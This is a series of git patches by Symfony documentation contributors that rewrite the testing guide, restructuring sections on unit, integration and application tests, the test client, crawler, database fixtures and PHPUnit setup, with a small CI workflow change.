@@ -499,7 +601,7 @@ shortcut to make AJAX requests::
     $client->xmlHttpRequest('POST', '/submit', ['name' => 'Fabien']);
 
 Browsing
-~~~~~~~~
+........
 
 The Client supports many operations that can be done in a real browser::
 
@@ -516,7 +618,7 @@ The Client supports many operations that can be done in a real browser::
     occurred when requesting a URL, as normal browsers do.
 
 Accessing Internal Objects
-~~~~~~~~~~~~~~~~~~~~~~~~~~
+..........................
 
 If you use the client to test your application, you might want to access the
 client's internal objects::
@@ -541,69 +643,8 @@ You can also get the objects related to the latest request::
     // the Crawler instance
     $crawler = $client->getCrawler();
 
-Accessing the Container
-~~~~~~~~~~~~~~~~~~~~~~~
-
-Functional tests should only test the response (e.g. its contents or its HTTP
-status code). However, in some rare circumstances you may need to access the
-container to use some service.
-
-First, you can get the same container used in the application, which only
-includes the public services::
-
-    public function testSomething()
-    {
-        $client = self::createClient();
-        $container = $client->getContainer();
-        // $someService = $container->get('the-service-ID');
-
-        // ...
-    }
-
-Symfony tests also have access to a special container that includes both the
-public services and the non-removed :ref:`private services <container-public>`
-services::
-
-    public function testSomething()
-    {
-        // this call is needed; otherwise the container will be empty
-        self::bootKernel();
-
-        $container = self::$container;
-        // $someService = $container->get('the-service-ID');
-
-        // ...
-    }
-
-Finally, for the most rare edge-cases, Symfony includes a special container
-which provides access to all services, public and private. This special
-container is a service that can be get via the normal container::
-
-    public function testSomething()
-    {
-        $client = self::createClient();
-        $normalContainer = $client->getContainer();
-        $specialContainer = $normalContainer->get('test.service_container');
-
-        // $somePrivateService = $specialContainer->get('the-service-ID');
-
-        // ...
-    }
-
-.. caution::
-
-    The special container ``test.service_container`` doesn't give access to the
-    private services that have been removed (those who are not used by any
-    other services). The solution is to declare those private services as public
-    in the ``config/services_test.yaml`` file.
-
-.. tip::
-
-    If the information you need to check is available from the profiler, use
-    it instead.
-
 Accessing the Profiler Data
-~~~~~~~~~~~~~~~~~~~~~~~~~~~
+...........................
 
 On each request, you can enable the Symfony profiler to collect data about the
 internal handling of that request. For example, the profiler could be used to
@@ -624,7 +665,7 @@ For specific details on using the profiler inside a test, see the
 :doc:`/testing/profiling` article.
 
 Redirecting
-~~~~~~~~~~~
+...........
 
 When a request returns a redirect response, the client does not follow
 it automatically. You can examine the response and force a redirection
@@ -642,8 +683,40 @@ will no longer be followed::
 
     $client->followRedirects(false);
 
+Sending Custom Headers
+......................
+
+If your application behaves according to some HTTP headers, pass them as the
+second argument of ``createClient()``::
+
+    $client = static::createClient([], [
+        'HTTP_HOST'       => 'en.example.com',
+        'HTTP_USER_AGENT' => 'MySuperBrowser/1.0',
+    ]);
+
+You can also override HTTP headers on a per request basis::
+
+    $client->request('GET', '/', [], [], [
+        'HTTP_HOST'       => 'en.example.com',
+        'HTTP_USER_AGENT' => 'MySuperBrowser/1.0',
+    ]);
+
+.. caution::
+
+    The name of your custom headers must follow the syntax defined in the
+    `section 4.1.18 of RFC 3875`_: replace ``-`` by ``_``, transform it into
+    uppercase and prefix the result with ``HTTP_``. For example, if your
+    header name is ``X-Session-Token``, pass ``HTTP_X_SESSION_TOKEN``.
+
+.. tip::
+
+    The test client is available as a service in the container in the ``test``
+    environment (or wherever the :ref:`framework.test <reference-framework-test>`
+    option is enabled). This means you can override the service entirely
+    if you need to.
+
 Reporting Exceptions
-~~~~~~~~~~~~~~~~~~~~
+....................
 
 Debugging exceptions in functional tests may be difficult because by default
 they are caught and you need to look at the logs to see which exception was
@@ -658,13 +731,13 @@ to be reported by PHPUnit::
 .. _testing-crawler:
 
 The Crawler
------------
+~~~~~~~~~~~
 
 A Crawler instance is returned each time you make a request with the Client.
 It allows you to traverse HTML documents, select nodes, find links and forms.
 
 Traversing
-~~~~~~~~~~
+..........
 
 Like jQuery, the Crawler has methods to traverse the DOM of an HTML/XML
 document. For example, the following finds all ``input[type=submit]`` elements,
@@ -720,7 +793,7 @@ narrow down your node selection by chaining the method calls::
     ``count($crawler)``
 
 Extracting Information
-~~~~~~~~~~~~~~~~~~~~~~
+......................
 
 The Crawler can extract information from the nodes::
 
@@ -753,7 +826,7 @@ The Crawler can extract information from the nodes::
     The option to trim white spaces in ``text()`` was introduced in Symfony 4.4.
 
 Links
-~~~~~
+.....
 
 Use the ``clickLink()`` method to click on the first link that contains the
 given text (or the first clickable image with that ``alt`` attribute)::
@@ -774,7 +847,7 @@ that provides helpful methods specific to links (such as ``getMethod()`` and
     $client->click($link);
 
 Forms
-~~~~~
+.....
 
 Use the ``submitForm()`` method to submit the form that contains the given button::
 
@@ -883,171 +956,16 @@ their type::
         $client->submit($form, [], ['HTTP_ACCEPT_LANGUAGE' => 'es']);
         $client->submitForm($button, [], 'POST', ['HTTP_ACCEPT_LANGUAGE' => 'es']);
 
-Adding and Removing Forms to a Collection
-.........................................
-
-If you use a :doc:`Collection of Forms </form/form_collections>`,
-you can't add fields to an existing form with
-``$form['task[tags][0][name]'] = 'foo';``. This results in an error
-``Unreachable field "…"`` because ``$form`` can only be used in order to
-set values of existing fields. In order to add new fields, you have to
-add the values to the raw data array::
+End to End Tests (E2E)
+----------------------
 
-    // gets the form
-    $form = $crawler->filter('button')->form();
-
-    // gets the raw values
-    $values = $form->getPhpValues();
-
-    // adds fields to the raw values
-    $values['task']['tags'][0]['name'] = 'foo';
-    $values['task']['tags'][1]['name'] = 'bar';
-
-    // submits the form with the existing and new values
-    $crawler = $client->request($form->getMethod(), $form->getUri(), $values,
-        $form->getPhpFiles());
-
-    // the 2 tags have been added to the collection
-    $this->assertEquals(2, $crawler->filter('ul.tags > li')->count());
-
-Where ``task[tags][0][name]`` is the name of a field created
-with JavaScript.
-
-You can remove an existing field, e.g. a tag::
-
-    // gets the values of the form
-    $values = $form->getPhpValues();
-
-    // removes the first tag
-    unset($values['task']['tags'][0]);
-
-    // submits the data
-    $crawler = $client->request($form->getMethod(), $form->getUri(),
-        $values, $form->getPhpFiles());
-
-    // the tag has been removed
-    $this->assertEquals(0, $crawler->filter('ul.tags > li')->count());
-
-.. index::
-   pair: Tests; Configuration
-
-Testing Configuration
----------------------
-
-The Client used by functional tests creates a Kernel that runs in a special
-``test`` environment. Since Symfony loads the ``config/packages/test/*.yaml``
-in the ``test`` environment, you can tweak any of your application's settings
-specifically for testing.
-
-For example, by default, the Swift Mailer is configured to *not* actually
-deliver emails in the ``test`` environment. You can see this under the ``swiftmailer``
-configuration option:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/test/swiftmailer.yaml
-
-        # ...
-        swiftmailer:
-            disable_delivery: true
-
-    .. code-block:: xml
-
-        <!-- config/packages/test/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer
-                https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <!-- ... -->
-            <swiftmailer:config disable-delivery="true"/>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/test/swiftmailer.php
-
-        // ...
-        $container->loadFromExtension('swiftmailer', [
-            'disable_delivery' => true,
-        ]);
-
-You can also use a different environment entirely, or override the default
-debug mode (``true``) by passing each as options to the ``createClient()``
-method::
-
-    $client = static::createClient([
-        'environment' => 'my_test_env',
-        'debug'       => false,
-    ]);
-
-Customizing Database URL / Environment Variables
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-If you need to customize some environment variables for your tests (e.g. the
-``DATABASE_URL`` used by Doctrine), you can do that by overriding anything you
-need in your ``.env.test`` file:
-
-.. code-block:: text
-
-    # .env.test
-    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name_test?serverVersion=5.7"
-
-    # use SQLITE
-    # DATABASE_URL="sqlite:///%kernel.project_dir%/var/app.db"
-
-This file is automatically read in the ``test`` environment: any keys here override
-the defaults in ``.env``.
-
-.. caution::
-
-    Applications created before November 2018 had a slightly different system,
-    involving a ``.env.dist`` file. For information about upgrading, see:
-    :doc:`configuration/dot-env-changes`.
-
-Sending Custom Headers
-~~~~~~~~~~~~~~~~~~~~~~
-
-If your application behaves according to some HTTP headers, pass them as the
-second argument of ``createClient()``::
-
-    $client = static::createClient([], [
-        'HTTP_HOST'       => 'en.example.com',
-        'HTTP_USER_AGENT' => 'MySuperBrowser/1.0',
-    ]);
-
-You can also override HTTP headers on a per request basis::
-
-    $client->request('GET', '/', [], [], [
-        'HTTP_HOST'       => 'en.example.com',
-        'HTTP_USER_AGENT' => 'MySuperBrowser/1.0',
-    ]);
-
-.. caution::
-
-    The name of your custom headers must follow the syntax defined in the
-    `section 4.1.18 of RFC 3875`_: replace ``-`` by ``_``, transform it into
-    uppercase and prefix the result with ``HTTP_``. For example, if your
-    header name is ``X-Session-Token``, pass ``HTTP_X_SESSION_TOKEN``.
-
-.. tip::
-
-    The test client is available as a service in the container in the ``test``
-    environment (or wherever the :ref:`framework.test <reference-framework-test>`
-    option is enabled). This means you can override the service entirely
-    if you need to.
-
-.. index::
-   pair: PHPUnit; Configuration
+TODO
+* panther
+* testing javascript
+* UX or form collections as example?
 
 PHPUnit Configuration
-~~~~~~~~~~~~~~~~~~~~~
+---------------------
 
 Each application has its own PHPUnit configuration, stored in the
 ``phpunit.xml.dist`` file. You can edit this file to change the defaults or
@@ -1127,8 +1045,8 @@ Learn more
 .. _`PHPUnit`: https://phpunit.de/
 .. _`documentation`: https://phpunit.readthedocs.io/
 .. _`PHPUnit Bridge component`: https://symfony.com/components/PHPUnit%20Bridge
+.. _`Writing Tests for PHPUnit`: https://phpunit.readthedocs.io/en/stable/writing-tests-for-phpunit.html
 .. _`unit test`: https://en.wikipedia.org/wiki/Unit_testing
 .. _`$_SERVER`: https://www.php.net/manual/en/reserved.variables.server.php
-.. _`data providers`: https://phpunit.de/manual/current/en/writing-tests-for-phpunit.html#writing-tests-for-phpunit.data-providers
 .. _`code coverage analysis`: https://phpunit.readthedocs.io/en/9.1/code-coverage-analysis.html
 .. _`section 4.1.18 of RFC 3875`: https://tools.ietf.org/html/rfc3875#section-4.1.18
diff --git a/testing/database.rst b/testing/database.rst
index 7e3acfd1db7..fb6caa0e553 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -4,121 +4,6 @@
 How to Test Code that Interacts with the Database
 =================================================
 
-Configuring a Database for Tests
---------------------------------
-
-Tests that interact with the database should use their own separate database to
-not mess with the databases used in the other :ref:`configuration environments <configuration-environments>`.
-To do that, edit or create the ``.env.test.local`` file at the root directory of
-your project and define the new value for the ``DATABASE_URL`` env var:
-
-.. code-block:: bash
-
-    # .env.test.local
-    DATABASE_URL="mysql://USERNAME:PASSWORD@127.0.0.1:3306/DB_NAME?serverVersion=5.7"
-
-.. tip::
-
-    A common practice is to append the ``_test`` suffix to the original database
-    names in tests. If the database name in production is called ``project_acme``
-    the name of the testing database could be ``project_acme_test``.
-
-The above assumes that each developer/machine uses a different database for the
-tests. If the entire team uses the same settings for tests, edit or create the
-``.env.test`` file instead and commit it to the shared repository. Learn more
-about :ref:`using multiple .env files in Symfony applications <configuration-multiple-env-files>`.
-
-Resetting the Database Automatically Before each Test
------------------------------------------------------
-
-Tests should be independent from each other to avoid side effects. For example,
-if some test modifies the database (by adding or removing an entity) it could
-change the results of other tests. Run the following command to install a bundle
-that ensures that each test is run with the same unmodified database:
-
-.. code-block:: terminal
-
-    $ composer require --dev dama/doctrine-test-bundle
-
-Now, enable it as a PHPUnit extension or listener:
-
-.. code-block:: xml
-
-    <!-- phpunit.xml.dist -->
-    <phpunit>
-        <!-- ... -->
-
-        <!-- Add this for PHPUnit 7.5 or higher -->
-        <extensions>
-            <extension class="DAMA\DoctrineTestBundle\PHPUnit\PHPUnitExtension"/>
-        </extensions>
-
-        <!-- Add this for PHPUnit 7.0 until 7.4 -->
-        <listeners>
-            <listener class="\DAMA\DoctrineTestBundle\PHPUnit\PHPUnitListener"/>
-        </listeners>
-    </phpunit>
-
-This bundle uses a clever trick to avoid side effects without sacrificing
-performance: it begins a database transaction before every test and rolls it
-back automatically after the test finishes to undo all changes. Read more in the
-documentation of the `DAMADoctrineTestBundle`_.
-
-.. _doctrine-fixtures:
-
-Dummy Data Fixtures
--------------------
-
-Instead of using the real data from the production database, it's common to use
-fake or dummy data in the test database. This is usually called *"fixtures data"*
-and Doctrine provides a library to create and load them. Install it with:
-
-.. code-block:: terminal
-
-    $ composer require --dev doctrine/doctrine-fixtures-bundle
-
-Then, use the ``make:fixtures`` command to generate an empty fixture class:
-
-.. code-block:: terminal
-
-    $ php bin/console make:fixtures
-
-    The class name of the fixtures to create (e.g. AppFixtures):
-    > ProductFixture
-
-Customize the new class to load ``Product`` objects into Doctrine::
-
-    // src/DataFixtures/ProductFixture.php
-    namespace App\DataFixtures;
-
-    use App\Entity\Product;
-    use Doctrine\Bundle\FixturesBundle\Fixture;
-    use Doctrine\Persistence\ObjectManager;
-
-    class ProductFixture extends Fixture
-    {
-        public function load(ObjectManager $manager)
-        {
-            $product = new Product();
-            $product->setName('Priceless widget');
-            $product->setPrice(14.50);
-            $product->setDescription('Ok, I guess it *does* have a price');
-            $manager->persist($product);
-
-            // add more products
-
-            $manager->flush();
-        }
-    }
-
-Empty the database and reload *all* the fixture classes with:
-
-.. code-block:: terminal
-
-    $ php bin/console doctrine:fixtures:load
-
-For more information, read the `DoctrineFixturesBundle documentation`_.
-
 Mocking a Doctrine Repository in Unit Tests
 -------------------------------------------
 

From 42cb8872afc99f2921519224270bd46a8a081cfa Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Tue, 2 Mar 2021 17:32:40 +0100
Subject: [PATCH 2088/7107] Finalize testing document rewrite

* Moved around things
* Don't mention PHPUnitBridge
* Add info about integration tests
---
 testing.rst | 197 +++++++++++++++++++++-------------------------------
 1 file changed, 81 insertions(+), 116 deletions(-)

diff --git a/testing.rst b/testing.rst
index 736e7d5b880..40bb2f1310c 100644
--- a/testing.rst
+++ b/testing.rst
@@ -15,44 +15,38 @@ Symfony integrates with an independent library called `PHPUnit`_ to give you a
 rich testing framework. This article won't cover PHPUnit itself, which has its
 own excellent `documentation`_.
 
-Before creating your first test, install the `PHPUnit Bridge component`_, which
-wraps the original PHPUnit binary to provide additional features:
+Before creating your first test, install the PHPUnit with the following command:
 
 .. code-block:: terminal
 
-    $ composer require --dev symfony/phpunit-bridge
+    $ composer require --dev phpunit/phpunit
 
-After the library downloads, try executing PHPUnit by running (the first time
-you run this, it will download PHPUnit itself and make its classes available in
-your app):
+After the library is installed, try executing PHPUnit by running:
 
 .. code-block:: terminal
 
-    $ ./bin/phpunit
+    $ ./vendor/bin/phpunit
 
 .. note::
 
-    The ``./bin/phpunit`` command is created by :ref:`Symfony Flex <symfony-flex>`
-    when installing the ``phpunit-bridge`` package. If the command is missing, you
-    can remove the package (``composer remove symfony/phpunit-bridge``) and install
-    it again. Another solution is to remove the project's ``symfony.lock`` file and
-    run ``composer install`` to force the execution of all Symfony Flex recipes.
+    :ref:`Symfony Flex <symfony-flex>` has automatically created ``phpunit.xml.dist``
+    and ``tests/bootstrap.php``. If the files are missing, you can remove the package
+    (``composer remove phpunit/phpunit``) and install it again.
 
 Each test is a PHP class that should live in the ``tests/`` directory of
 your application. If you follow this rule, then you can run all of your
 application's tests with the same command as before.
 
-PHPUnit is configured by the ``phpunit.xml.dist`` file in the root of your
-Symfony application.
-
-.. tip::
-
-    Use the ``--coverage-*`` command options to generate code coverage reports.
-    Read the PHPUnit manual to learn more about `code coverage analysis`_.
+PHPUnit is configured by the ``phpunit.xml.dist`` file in the root of your application.
 
 Types of Tests
 --------------
 
+To get a common language and shared context, it is important to define a what different
+types of tests really mean. Symfony will use the following definition. If you have
+learned something different, that is not necessarily wrong. It is just different
+from what the Symfony documentation is using.
+
 `Unit Tests`_
     These tests ensure that *individual* units of source code (e.g. a single
     class) behave as intended.
@@ -60,22 +54,18 @@ Types of Tests
 `Integration Tests`_
     These tests test a combination of classes and commonly interact with
     Symfony's service container. These tests do not yet cover the full
-    working application, those are called *Functional tests*.
+    working application, those are called *Application tests*.
 
-`Functional Tests`_
-    Functional tests test the behavior of a complete application. They
+`Application Tests`_
+    Application tests test the behavior of a complete application. They
     make HTTP requests and test that the response is as expected.
 
-`End to End Tests (E2E)`_
-    At last, end to end tests test the application as a real user. They use
-    a real browser and real integrations with external services.
-
 Unit Tests
 ----------
 
 A `unit test`_ ensures that individual units of source code (e.g. a single
 class or some specific method in some class) meet their design and behave
-as intended. Writing Symfony unit tests is no different from writing
+as intended. Writing unit tests is a Symfony application no different from writing
 standard PHPUnit unit tests. You can learn about it in the PHPUnit
 documentation: `Writing Tests for PHPUnit`_.
 
@@ -85,52 +75,49 @@ of your application for unit tests. So, if you're testing a class in the
 Autoloading is automatically enabled via the ``vendor/autoload.php`` file
 (as configured by default in the ``phpunit.xml.dist`` file).
 
-You can run tests using the ``bin/phpunit`` command:
+You can run tests using the ``./vendor/bin/phpunit`` command:
 
 .. code-block:: terminal
 
     # run all tests of the application
-    $ php bin/phpunit
+    $ php ./vendor/bin/phpunit
 
     # run all tests in the Util/ directory
-    $ php bin/phpunit tests/Util
+    $ php ./vendor/bin/phpunit tests/Util
 
     # run tests for the Calculator class
-    $ php bin/phpunit tests/Util/CalculatorTest.php
+    $ php ./vendor/bin/phpunit tests/Util/CalculatorTest.php
 
 Integration Tests
 -----------------
 
-TODO: KernelTestCase
-
-Accessing the Container
-~~~~~~~~~~~~~~~~~~~~~~~
-
-You can get the same container used in the application, which only includes
-the public services::
-
-    public function testSomething()
-    {
-        $kernel = self::bootKernel();
-        $container = $kernel->getContainer();
-        $someService = $container->get('the-service-ID');
-
-        // ...
-    }
+An integration test will test a larger part of your application compared to a unit
+test. Integration tests will use the Kernel to fetch a service from the dependency
+injection container.
 
-Symfony tests also have access to a special container that includes both the
+Symfony tests have access to a special container that includes both the
 public services and the non-removed :ref:`private services <container-public>`
 services::
 
-    public function testSomething()
+    // tests/Service/AcmeServiceTest.php
+    namespace App\Tests\Service;
+
+    use App\Service\AcmeService;
+    use Symfony\Bundle\FrameworkBundle\Test\KernelTestCase;
+
+    class AcmeServiceTest extends KernelTestCase
     {
-        // this call is needed; otherwise the container will be empty
-        self::bootKernel();
+        public function testSomething()
+        {
+            // this call is needed; otherwise the container will be empty
+            self::bootKernel();
 
-        $container = self::$container;
-        // $someService = $container->get('the-service-ID');
+            $container = self::$container;
+            $someService = $container->get(AcmeService::class);
 
-        // ...
+            $result = $someService->something();
+            $this->assertTrue($result);
+        }
     }
 
 .. caution::
@@ -140,55 +127,21 @@ services::
     other services). The solution is to declare those private services as public
     in the ``config/services_test.yaml`` file.
 
-.. TODO is this really different from self::$container and how to access
-   this in KernelTestCase?
-
-    Finally, for the most rare edge-cases, Symfony includes a special container
-    which provides access to all services, public and private. This special
-    container is a service that can be get via the normal container::
-
-        public function testSomething()
-        {
-            $client = self::createClient();
-            $normalContainer = $client->getContainer();
-            $specialContainer = $normalContainer->get('test.service_container');
-
-            // $somePrivateService = $specialContainer->get('the-service-ID');
-
-            // ...
-        }
-
-Mocking Services
-~~~~~~~~~~~~~~~~
-
-TODO
-
-.. _functional-tests:
-
-Functional Tests
-----------------
-
-Functional tests check the integration of the different layers of an
-application (from the routing to the views). They are no different from unit
-tests as far as PHPUnit is concerned, but they have a very specific workflow:
-
-* Make a request;
-* Click on a link or submit a form;
-* Test the response;
-* Rinse and repeat.
-
-Before creating your first test, install the ``symfony/test-pack`` which
-requires multiple packages providing some of the utilities used in the
-tests:
+.. tip::
 
-.. code-block:: terminal
+    To run your application tests, the ``KernelTestCase`` class needs to know which
+    is the application kernel to bootstrap it. The kernel class is usually
+    defined in the ``KERNEL_CLASS`` environment variable (included in the
+    default ``.env.test`` file provided by Symfony Flex):
 
-    $ composer require --dev symfony/test-pack
+    If your use case is more complex, you can also override the
+    ``createKernel()`` or ``getKernelClass()`` methods of your functional test,
+    which take precedence over the ``KERNEL_CLASS`` env var.
 
 Set-up your Test Environment
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The Client used by functional tests creates a Kernel that runs in a special
+The tests creates a Kernel that runs in a special
 ``test`` environment. Since Symfony loads the ``config/packages/test/*.yaml``
 in the ``test`` environment, you can tweak any of your application's settings
 specifically for testing.
@@ -236,7 +189,7 @@ You can also use a different environment entirely, or override the default
 debug mode (``true``) by passing each as options to the ``createClient()``
 method::
 
-    $client = static::createClient([
+    self::bootKernel([
         'environment' => 'my_test_env',
         'debug'       => false,
     ]);
@@ -300,7 +253,7 @@ that ensures that each test is run with the same unmodified database:
 
     $ composer require --dev dama/doctrine-test-bundle
 
-Now, enable it as a PHPUnit extension or listener:
+Now, enable it as a PHPUnit extension:
 
 .. code-block:: xml
 
@@ -373,10 +326,34 @@ Empty the database and reload *all* the fixture classes with:
 
 For more information, read the `DoctrineFixturesBundle documentation`_.
 
-Write Your First Functional Test
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. _functional-tests:
+
+Application Tests
+-----------------
+
+Application tests check the integration of all the different layers of the
+application (from the routing to the views). They are no different from unit tests
+or integration tests as far as PHPUnit is concerned, but they have a very specific
+workflow:
+
+* Make a request;
+* Click on a link or submit a form;
+* Test the response;
+* Rinse and repeat.
 
-Functional tests are PHP files that typically live in the ``tests/Controller``
+Before creating your first test, install the ``symfony/test-pack`` which
+requires multiple packages providing some of the utilities used in the
+tests:
+
+.. code-block:: terminal
+
+    $ composer require --dev symfony/test-pack
+
+
+Write Your First Application Test
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Application tests are PHP files that typically live in the ``tests/Controller``
 directory of your application. If you want to test the pages handled by your
 ``PostController`` class, start by creating a new ``PostControllerTest.php``
 file that extends a special ``WebTestCase`` class.
@@ -400,17 +377,6 @@ As an example, a test could look like this::
         }
     }
 
-.. tip::
-
-    To run your functional tests, the ``WebTestCase`` class needs to know which
-    is the application kernel to bootstrap it. The kernel class is usually
-    defined in the ``KERNEL_CLASS`` environment variable (included in the
-    default ``.env.test`` file provided by Symfony):
-
-    If your use case is more complex, you can also override the
-    ``createKernel()`` or ``getKernelClass()`` methods of your functional test,
-    which take precedence over the ``KERNEL_CLASS`` env var.
-
 In the above example, you validated that the HTTP response was successful. The
 next step is to validate that the page actually contains the expected content.
 The ``createClient()`` method returns a client, which is like a browser that
@@ -495,7 +461,7 @@ returns a ``Crawler`` instance.
 
 .. tip::
 
-    Hardcoding the request URLs is a best practice for functional tests. If the
+    Hardcoding the request URLs is a best practice for application tests. If the
     test generates URLs using the Symfony router, it won't detect any change
     made to the application URLs which may impact the end users.
 
@@ -718,7 +684,7 @@ You can also override HTTP headers on a per request basis::
 Reporting Exceptions
 ....................
 
-Debugging exceptions in functional tests may be difficult because by default
+Debugging exceptions in application tests may be difficult because by default
 they are caught and you need to look at the logs to see which exception was
 thrown. Disabling catching of exceptions in the test client allows the exception
 to be reported by PHPUnit::
@@ -1044,7 +1010,6 @@ Learn more
 
 .. _`PHPUnit`: https://phpunit.de/
 .. _`documentation`: https://phpunit.readthedocs.io/
-.. _`PHPUnit Bridge component`: https://symfony.com/components/PHPUnit%20Bridge
 .. _`Writing Tests for PHPUnit`: https://phpunit.readthedocs.io/en/stable/writing-tests-for-phpunit.html
 .. _`unit test`: https://en.wikipedia.org/wiki/Unit_testing
 .. _`$_SERVER`: https://www.php.net/manual/en/reserved.variables.server.php

From 28d79d689283302588c7312e7a363c6f4c4b16e5 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 16 Apr 2021 19:19:53 +0200
Subject: [PATCH 2089/7107] [minor] Use correct code block

---
 reference/forms/types/options/preferred_choices.rst.inc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/options/preferred_choices.rst.inc b/reference/forms/types/options/preferred_choices.rst.inc
index 11eb2b7f8b4..8d72b608dbc 100644
--- a/reference/forms/types/options/preferred_choices.rst.inc
+++ b/reference/forms/types/options/preferred_choices.rst.inc
@@ -64,7 +64,7 @@ when rendering the field:
 
         {{ form_widget(form.publishAt, { 'separator': '=====' }) }}
 
-    .. code-block:: php
+    .. code-block:: html+php
 
         <?= $view['form']->widget($form['publishAt'], [
             'separator' => '=====',

From 31a15132cd42d90c73ee49723420c5e8781ec044 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 16 Apr 2021 17:53:22 +0200
Subject: [PATCH 2090/7107] Show logs from php-builder

---
 .github/workflows/ci.yaml | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index f6cc2cff17d..cfa60fe96f9 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,6 +73,10 @@ jobs:
                 working-directory: _build
                 run: php build.php -vvv
 
+            -   name: Show log file
+                if: ${{ always() }}
+                run: cat _build/logs.txt || true
+
     doctor-rst:
         name: Lint (DOCtor-RST)
 

From 1091d1356005ebb9f824701fef0decb7e49434ae Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 7 Mar 2021 23:36:21 +0100
Subject: [PATCH 2091/7107] Finish testing article rewrites

---
 .doctor-rst.yaml     |   1 +
 testing.rst          | 581 +++++++++++++++++++++++++------------------
 testing/database.rst |  13 +-
 3 files changed, 351 insertions(+), 244 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index e71ca735f09..af13fb7be61 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -95,3 +95,4 @@ whitelist:
         - ".. _`Deploying Symfony 4 Apps on Heroku`: https://devcenter.heroku.com/articles/deploying-symfony4"
         - '.. versionadded:: 0.2' # MercureBundle
         - '.. code-block:: twig'
+        - 'End to End Tests (E2E)'
diff --git a/testing.rst b/testing.rst
index 40bb2f1310c..095856fb426 100644
--- a/testing.rst
+++ b/testing.rst
@@ -11,41 +11,45 @@ using both functional and unit tests.
 The PHPUnit Testing Framework
 -----------------------------
 
-Symfony integrates with an independent library called `PHPUnit`_ to give you a
-rich testing framework. This article won't cover PHPUnit itself, which has its
-own excellent `documentation`_.
+Symfony integrates with an independent library called `PHPUnit`_ to give
+you a rich testing framework. This article won't cover PHPUnit itself,
+which has its own excellent `documentation`_.
 
-Before creating your first test, install the PHPUnit with the following command:
+Before creating your first test, install ``phpunit/phpunit`` and the
+``symfony/test-pack``, which installs some other packages providing useful
+Symfony test utilities:
 
 .. code-block:: terminal
 
-    $ composer require --dev phpunit/phpunit
+    $ composer require --dev phpunit/phpunit symfony/test-pack
 
-After the library is installed, try executing PHPUnit by running:
+After the library is installed, try running PHPUnit:
 
 .. code-block:: terminal
 
-    $ ./vendor/bin/phpunit
+    $ php ./vendor/bin/phpunit
 
-.. note::
+This commands automatically runs your application's tests. Each test is a
+PHP class ending with "Test" (e.g. ``BlogControllerTest``) that lives in
+the ``tests/`` directory of your application.
 
-    :ref:`Symfony Flex <symfony-flex>` has automatically created ``phpunit.xml.dist``
-    and ``tests/bootstrap.php``. If the files are missing, you can remove the package
-    (``composer remove phpunit/phpunit``) and install it again.
+PHPUnit is configured by the ``phpunit.xml.dist`` file in the root of your
+application.
 
-Each test is a PHP class that should live in the ``tests/`` directory of
-your application. If you follow this rule, then you can run all of your
-application's tests with the same command as before.
+.. note::
 
-PHPUnit is configured by the ``phpunit.xml.dist`` file in the root of your application.
+    :ref:`Symfony Flex <symfony-flex>` automatically creates
+    ``phpunit.xml.dist`` and ``tests/bootstrap.php``. If these files are
+    missing, you can try running the recipe again using
+    ``composer recipes:install phpunit/phpunit --force -v``.
 
 Types of Tests
 --------------
 
-To get a common language and shared context, it is important to define a what different
-types of tests really mean. Symfony will use the following definition. If you have
-learned something different, that is not necessarily wrong. It is just different
-from what the Symfony documentation is using.
+There are many types of automated tests and precise definitions often
+differ from project to project. In Symfony, the following definitions are
+used. If you have learned something different, that is not necessarily
+wrong, just different from what the Symfony documentation is using.
 
 `Unit Tests`_
     These tests ensure that *individual* units of source code (e.g. a single
@@ -53,25 +57,26 @@ from what the Symfony documentation is using.
 
 `Integration Tests`_
     These tests test a combination of classes and commonly interact with
-    Symfony's service container. These tests do not yet cover the full
+    Symfony's service container. These tests do not yet cover the fully
     working application, those are called *Application tests*.
 
 `Application Tests`_
     Application tests test the behavior of a complete application. They
-    make HTTP requests and test that the response is as expected.
+    make HTTP requests (both real and simulated ones) and test that the
+    response is as expected.
 
 Unit Tests
 ----------
 
 A `unit test`_ ensures that individual units of source code (e.g. a single
 class or some specific method in some class) meet their design and behave
-as intended. Writing unit tests is a Symfony application no different from writing
-standard PHPUnit unit tests. You can learn about it in the PHPUnit
-documentation: `Writing Tests for PHPUnit`_.
+as intended. Writing unit tests in a Symfony application is no different
+from writing standard PHPUnit unit tests. You can learn about it in the
+PHPUnit documentation: `Writing Tests for PHPUnit`_.
 
 By convention, the ``tests/`` directory should replicate the directory
 of your application for unit tests. So, if you're testing a class in the
-``src/Util/`` directory, put the test in the ``tests/Util/`` directory.
+``src/Form/`` directory, put the test in the ``tests/Form/`` directory.
 Autoloading is automatically enabled via the ``vendor/autoload.php`` file
 (as configured by default in the ``phpunit.xml.dist`` file).
 
@@ -82,111 +87,109 @@ You can run tests using the ``./vendor/bin/phpunit`` command:
     # run all tests of the application
     $ php ./vendor/bin/phpunit
 
